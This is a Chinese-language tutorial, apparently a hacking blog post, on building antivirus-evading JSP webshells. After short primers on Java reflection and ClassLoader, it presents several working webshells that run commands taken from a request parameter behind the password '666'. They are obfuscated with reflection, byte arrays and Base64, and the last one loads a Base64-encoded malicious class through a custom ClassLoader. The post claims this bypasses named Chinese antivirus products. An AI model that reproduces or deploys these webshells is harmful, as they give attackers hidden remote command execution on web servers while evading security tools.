JSP免杀马"/>
JSP免杀马
目录
JSP免杀马
Java反射
概念
实例
ClassLoader加载机制
JSP免杀马
总结
@更多黑客渗透技能!欢迎关注扫码
JSP免杀马
随着Java框架的进化和程序员的内卷,使用PHP
编写的系统越来少,使用Java
编写的系统越来越多。JSP
马的使用越来越多,但是就目前来看,各大厂商对JSP
马的查杀效果还是不尽人意。这里简单通过Java
的反射机制和ClassLoader
技术尝试绕过杀毒软件。
先介绍这几个常见的Java概念。
Java反射
概念
Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。——《JAVA反射机制》百度百科
要想了解Java
反射,首先要了解到.java
文件是无法直接执行的,需要将其编译成.class
字节码文件,然后借助借助Java
虚拟机也就是jvm
进行执行。
通过Java
语言中的反射机制可以直接操作字节码文件。
要操作一个类的字节码,需要首先获取,有以下三种方式获取java.lang.Class
实例:
//1
Class.forName(“完整类名带包名”)
//2
对象.getClass()
//3
任何类型.class
这三种获取方式没有使用上的区别。
下面我们通过一个实例来使用一下Java
的反射机制。
实例
创建Reflect类:
public class Reflect {private static Reflect reflect = new Reflect();public Reflect() {}public static Reflect getReflect() {return reflect;}public void print(int a, int b) {System.out.println(a + b);}
}
利用反射的方式调用函数:
import java.lang.reflect.Method;public class testClass {public static void main(String[] args) throws Throwable {//正常方式Reflect reflect = new Reflect();reflect.print(1, 2);//部分反射//通过运行时的对象调用getClass();Class<?> aClass = Class.forName("reflection.Reflect");//getMethod(方法名,参数类型)//getMethod第一个参数是方法名,第二个参数是该方法的参数类型//因为存在同方法名不同参数这种情况//所以只有同时指定方法名和参数类型才能唯一确定一个方法Method method = aClass.getMethod("print", int.class, int.class);//相当于reflect.print(1, 2);方法的反射操作是用method对象来进行方法调用//和reflect.print调用的效果完全相同//使用reflect调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入method.invoke(reflect, 1, 2);//全部反射Class.forName("reflection.Reflect").getMethod("print", int.class, int.class).invoke(Class.forName("reflection.Reflect").getMethod("getReflect").invoke(Class.forName("reflection.Reflect")), 1, 2);//如需获取实例化,也可以使用newInstance()Object instance = aClass.newInstance();System.out.println("instance = " + instance);}
}
执行结果如下:
3
3
3
instance = reflection.Reflect@28d93b30
ClassLoader加载机制
ClassLoader
具体作用是将.class
文件加载到jvm
虚拟机中,程序就可以正确运行了。但是,jvm
启动的时候,并不会一次性加载所有的.class
文件,而是根据需要去动态加载。
Java
语言自带有三个类加载器:
-
**Bootstrap ClassLoade**
为最顶层的加载类,主要加载核心类库,%JRE_HOME%\\lib
下的rt.jar
、resources.jar
、charsets.jar
和class
等。 -
**Extention ClassLoader**
为扩展的类加载器,加载目录%JRE_HOME%\\lib\\ext
目录下的jar
包和class
文件。 -
**Appclass Loader**
也称为**SystemAppClass**
为加载当前应用的classpath
的所有类。
BootstrapClassLoader
、ExtClassLoader
、AppClassLoader
是通过查阅相应的环境属性sun.boot.class.path
、java.ext.dirs
和java.class.path
来加载资源文件。
类加载器也是Java
类,因为Java
类的类加载器本身也是要被类加载器加载的,显然必须有第一个类加载器不是Java
类,这个正是Bootstrap ClassLoade
****,使用C/C++
代码写的,已经封装到jvm
内核中了,jvm
启动时通过Bootstrap
类加载器加载rt.jar
等核心jar
包中的class
文件,初始化sun.misc.Launcher
并创建Extension ClassLoader
和AppClassLoader
实例,sun.misc.Launcher
是Java虚拟机的入口应用。而ExtClassLoader
和AppClassLoader
是Java
类。
可以使用以下代码来测试:
public class LoaderClass {public static void main(String[] args) {//BootstrapClassLoader加载的jar包System.out.println(System.getProperty("sun.boot.class.path"));//ExtClassLoader加载的jar包System.out.println(System.getProperty("java.ext.dirs"));//SystemClassLoader(AppClassLoader)加载的内容//结果为当前java工程目录target/classes,里面存放的是编译生成的class文件System.out.println(System.getProperty("java.class.path"));//使用自定义的ClassLoader加载系统类加载器ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();System.out.println("systemClassLoader = " + systemClassLoader);//调用系统类加载器的getParent():获取扩展类加载器ClassLoader extensionClassLoader = systemClassLoader.getParent();System.out.println("extensionClassLoader = " + extensionClassLoader);//调用扩展类加载器的getParent():无法获取引导类加载器//引导类加载器主要负责加载Java的核心类库,无法加载自定义类ClassLoader bootstrapClassloader = extensionClassLoader.getParent();System.out.println("bootstrapClassloader = " + bootstrapClassloader);//sun.misc.Launcher是java虚拟机的入口应用}
}
通过执行可以看到,BootstrapClassLoader
加载的主要是jre
目录下的jar
包或者是class
文件;ExtClassLoader
加载的是jre\\lib\\ext
目录;AppClassLoader
加载当前应用的classpath
的所有类,核心是加载java
工程目录target/classes
,里面存放的是编译生成的class
文件。
我们可以自定义类加载器挂载到AppClassLoader
上。
Java
加载类时使用类加载器的委托机制,举个例子,假如我们自定义了一个类加载器MyClassLoader
,自定定义的MyClassLoader
首先会先委托给AppClassLoader
,AppClassLoader
会委托给ExtClassLoader
,ExtClassLoader
会委托给BootstrapClassLoader
,这时候BootstrapClassLoader
就去加载,如果加载成功,结束;如果加载失败,就交给ExtClassLoader
去加载,如果ExtClassLoader
加载成功,结束;如果加载失败就交给AppClassLoader
加载,如果加载成功,结束;如果加载失败,就交给自定义的MyClassLoader
类加载器加载,如果加载失败,就报ClassNotFoundException
异常,结束。
扯远了,接下来正式通过创建自定义的类加载器来尝试绕过杀软。
JSP免杀马
在Java中通常使用Runtime.*getRuntime*().exec("")
进行命令执行,这里写一个最简单的JSP马:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if ("666".equals(request.getParameter("pwd"))) {java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>
但是这个太容易被检测到了,Runtime.*getRuntime*().exec("")
明晃晃。
稍微进化下,尝试使用反射机制:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if (request.getParameter("cmd") != null) {Class rt = Class.forName("java.lang.Runtime");Process e = (Process) rt.getMethod("exec").invoke(rt.getMethod("getRuntime").invoke(null), request.getParameter("cmd"));java.io.InputStream in = e.getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>
这下比之前稍微好了一些,没有直接调用恶意类,可以绕过部分利用类检测的规则。但是部分规则也会利用字段进行监测,我们可以对其中的java.lang.Runtime
、exec
、getRuntime
等进行加密:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%if (request.getParameter("cmd") != null) {BASE64Decoder decoder = new BASE64Decoder();byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");for (int i = 0; i < bytes.length; i++) {bytes[i] = (byte) (bytes[i] + 1);}Class rt = Class.forName(new String(bytes));Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null), request.getParameter("cmd"));java.io.InputStream in = e.getInputStream();out.print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}out.print("</pre>");}
%>
我们通过删减的方式测试,发现只要有invoke
函数就会报可疑文件。目前大多数的杀软已经对反射进行查杀。
我们通过ClassLoader
来试一下。
先使用mian
加载的方式尝试进行命令执行,写一个恶意类:
import java.io.IOException;public class calc {public calc() {}public String toString() {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException var2) {var2.printStackTrace();}return "OK";}
}
将上述恶意类进行Base64加密并写入,使用自定义的类加载器MyLoader
进行加载,main
执行:
import sun.misc.BASE64Decoder;public class Loader {public static class MyLoader extends ClassLoader {public Class get(byte[] b) {return super.defineClass(null, b, 0, b.length);}}public static void main(String[] args) throws Exception {String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvY2FsYzsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHACMMACQAJQEACGNhbGMuZXhlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoAAsBAAJPSwEAEG9yZy9leGFtcGxlL2NhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAQAMAAAAbQACAAIAAAAUuAACEgO2AARXpwAITCu2AAYSB7AAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAEQALAA4AAAAWAAIADQAEABMAFAABAAAAFAAPABAAAAAVAAAABwACTAcAFgQAAQAXAAAAAgAY"; // class的base64编码BASE64Decoder code = new sun.misc.BASE64Decoder();System.out.println("code = " + code);Class result = new MyLoader().get(code.decodeBuffer(classStr));System.out.println(result.newInstance().toString());}
}
成功执行。开始写JSP马。
先写一个恶意类:
package pass.loader;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;public class EvalClass {public String command;public EvalClass(String command) throws IOException {StringBuilder stringBuilder = new StringBuilder();Process process = Runtime.getRuntime().exec(command);BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));String print;while ((print = bufferedReader.readLine()) != null) {stringBuilder.append(print).append("\\n");}thismand = stringBuilder.toString();}@Overridepublic String toString() {return thismand;}
}
将上述恶意类进行Base64加密并写入,自定义的类加载器classLoader
,最终的JSP马如下:
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%if ("666".equals(request.getParameter("pwd"))) {String cmd = request.getParameter("cmd");ClassLoader classLoader = new ClassLoader() {@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {BASE64Decoder decoder = new BASE64Decoder();byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");return defineClass(name, bytes, 0, bytes.length);} catch (IOException e) {e.printStackTrace();}return super.findClass(name);}@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if (name.contains("EvalClass")) {out.print(obj.toString());return findClass(name);} else {return super.loadClass(name);}}};Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");Constructor cos = evalClass.getConstructor(String.class);Object obj = cos.newInstance(cmd);out.print("<pre>");out.print(obj.toString());out.print("</pre>");}
%>
当前(2022年12月22日)可免杀火绒、360、D盾等。
使用ClassLoader
方式构造JSP马难查杀的关键在于,恶意类完全隔离,上面的文件内容没有进行加密,加密后更加难以监测,如果要查杀,只能针对所有自构造的ClassLoader
进行查杀,很多框架都使用了ClassLoader
技术,不太能所有都监测和查杀。
总结
针对PHP马可通过监测核心的eval函数进行查杀,但是JSP马的查杀目前还没有很好的监测办法,除上述的利用ClassLoader
进行免杀外,还可通过创建Runtime
的父类等方式。
笔者水平有限,欢迎大家指出问题。
`m 9`竟然是敏感词,我把文中的换成了@@@,大家自行替换即可。
原文地址:.html
@更多黑客渗透技能!欢迎关注扫码
更多推荐
JSP免杀马
发布评论